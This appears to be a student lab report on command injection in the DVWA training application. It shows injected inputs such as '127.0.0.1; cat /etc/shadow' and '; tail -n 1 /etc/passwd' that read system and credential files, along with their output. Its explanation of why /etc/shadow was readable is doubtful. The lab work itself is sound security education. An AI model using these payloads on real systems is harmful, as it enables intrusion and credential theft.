Lab Report: Command Injection Vulnerability Exploration

Your Name

October 27, 2024

Contents

1 Overview

In this lab, we explored a web application vulnerability called **command injection**. This vulnerability allows attackers to execute commands on the host operating system through a vulnerable web application. We used the Damn Vulnerable Web Application (DVWA) to demonstrate this.

2 Questions and Answers

2.1 Question 1

Q1. What is the web server's IP address?

2.1.1 Command Used

```
127.0.0.1; ip addr
```

2.1.2 Output Obtained

```
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.020 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.107 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.122 ms
64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.037 ms

--- 127.0.0.1 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3076ms
rtt min/avg/max/mdev = 0.020/0.071/0.122/0.043 ms

1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group
   default
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
16: eth0@if17: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue
   state UP group default
    link/ether 02:42:ac:13:00:04 brd ff:ff:ff:ff:ff:ff
    inet \textbf{172.19.0.4}/16 brd 172.19.255.255 scope global eth0
       valid_lft forever preferred_lft forever
```

2.1.3 Answer

The web server's IP address is **172.19.0.4**.

2.2 Question 2

Q2. What command did you use to get this information?

2.2.1 Answer

```
127.0.0.1; ip addr
```

2.3 Question 3

Q3. What is the username used by the web server application?

2.3.1 Command Used

```
127.0.0.1; whoami
```

2.3.2 Output Obtained

```
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
[Ping results]

www-data
```

2.3.3 Answer

The username is **www-data**.

2.4 Question 4

Q4. What command did you use to get this information?

2.4.1 Answer

```
127.0.0.1; whoami
```

2.5 Question 5

Q5. What is the account name of the most recent account created on the web server?

2.5.1 Command Used

```
127.0.0.1; tail -n 1 /etc/passwd
```

2.5.2 Output Obtained

```
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
[Ping results]

user:x:1000:1000:user:/home/user:/bin/sh
```

2.5.3 Answer

The account name is **user**.

2.6 Question 6

Q6. What command did you use to get this information?

2.6.1 Answer

```
127.0.0.1; tail -n 1 /etc/passwd
```

2.7 Question 7

Q7. Can you list the contents of the `/etc/shadow` file? Why might you NOT be able to list the contents of this file using the above technique?

2.7.1 Attempted Command

```
127.0.0.1; cat /etc/shadow
```

2.7.2 Output Obtained

```
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
[Ping results]

user:*:18605:0:99999:7:::
```

2.7.3 Answer

Yes, I was able to see part of the `/etc/shadow` file. Normally, you should not be able to do this because the `/etc/shadow` file is only readable by the root user. The web server runs as `www-data`, which doesn't have permission to read this file. Accessing it shows a security problem, possibly due to the low security setting in DVWA.

3 Conclusion

In this lab, we exploited a command injection vulnerability to run commands on the web server. We found information like the server's IP address and user accounts. This highlights the need for proper input validation to prevent such vulnerabilities.

4 References

- **DVWA Official Website**: `http://www.dvwa.co.uk/`
- **NIST SP 800-181**: National Initiative for Cybersecurity Education (NICE) Cybersecurity Workforce Framework: `http://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-181.pdf`
- **OWASP Command Injection**: `https://owasp.org/www-community/attacks/Command_Injection`